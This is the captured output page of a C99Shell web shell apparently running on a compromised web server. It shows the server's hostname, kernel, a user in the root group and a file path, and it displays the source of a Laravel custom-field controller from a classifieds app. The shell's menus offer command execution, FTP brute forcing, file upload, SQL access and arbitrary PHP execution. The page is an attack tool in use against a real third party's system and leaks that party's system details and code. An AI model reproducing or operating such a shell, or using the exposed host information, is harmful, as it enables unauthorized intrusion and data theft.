!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/Modules/CustomField/Http/Controllers/   drwxr-xr-x
Free 28.37 GB of 117.98 GB (24.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategoryCustomFieldController.php (4.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\CustomField\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Str;
use 
Modules\Category\Entities\Category;
use 
Modules\CustomField\Entities\CustomField;
use 
Modules\CustomField\Entities\CustomFieldGroup;

class 
CategoryCustomFieldController extends Controller
{
    public function 
categoryCustomFieldCreate(Category $category)
    {
        try {

            
$custom_fields CustomField::latest()->get(['id''name']);
            
$category_fields $category->customFields->pluck('id')->toArray();
            
$groups CustomFieldGroup::latest()->get(['id''name']);

            return 
view('customfield::category.custom-field-add'compact('custom_fields''category_fields''category''groups'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
categoryCustomFieldStore(Request $requestCategory $category)
    {
        if (
$request->custom_field_sync) {
            
$category->customFields()->sync($request->fields);
            
flashSuccess('Custom Field Created Successfully !');
        } else {
            
$request->validate([
                
'name' => 'required|min:2',
                
'type' => 'required',
                
'group' => 'required',
                
'icon' => 'required',
                
'categories.*' => 'required',
            ]);

            if (
$request->type == 'select' || $request->type == 'radio' || $request->type == 'checkbox_multiple') {
                
$request->validate([
                    
'values' => 'required',
                ]);
            } elseif (
$request->type == 'checkbox') {
                
$request->validate([
                    
'value' => 'required',
                ]);
            }
            
$custom_field CustomField::create([
                
'name' => $request->name,
                
'slug' => Str::slug($request->name),
                
'type' => $request->type,
                
'required' => $request->required true false,
                
'filterable' => $request->filterable true false,
                
'listable' => $request->listable true false,
                
'custom_field_group_id' => $request->group,
                
'icon' => $request->icon,
            ]);

            if (
$request->type == 'select' || $request->type == 'radio' || $request->type == 'checkbox_multiple') {
                foreach (
$request->values as $value) {
                    
$custom_field->values()->create([
                        
'value' => $value,
                    ]);
                }
            } elseif (
$request->type == 'checkbox') {
                
$custom_field->values()->create(['value' => $request->value]);
            }

            if (
$custom_field) {
                
$category->customFields()->attach($custom_field->id);
            }
            
flashSuccess('Custom Field Created Successfully !');
        }

        return 
back();
    }

    public function 
categoryCustomFieldAttach(Request $requestCategory $category)
    {
        try {

            
$category->customFields()->sync($request->fields);

            
flashSuccess('Custom field added successfully.');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Display a listing of the resource.
     *
     * @return Renderable
     */
    
public function index()
    {
        return 
view('customfield::index');
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return Renderable
     */
    
public function create()
    {
        return 
view('customfield::create');
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @return Renderable
     */
    
public function store(Request $request)
    {
        
//
    
}

    
/**
     * Show the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function show($id)
    {
        return 
view('customfield::show');
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function edit($id)
    {
        return 
view('customfield::edit');
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function update(Request $request$id)
    {
        
//
    
}

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return Renderable
     */
    
public function destroy($id)
    {
        
//
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0075 ]--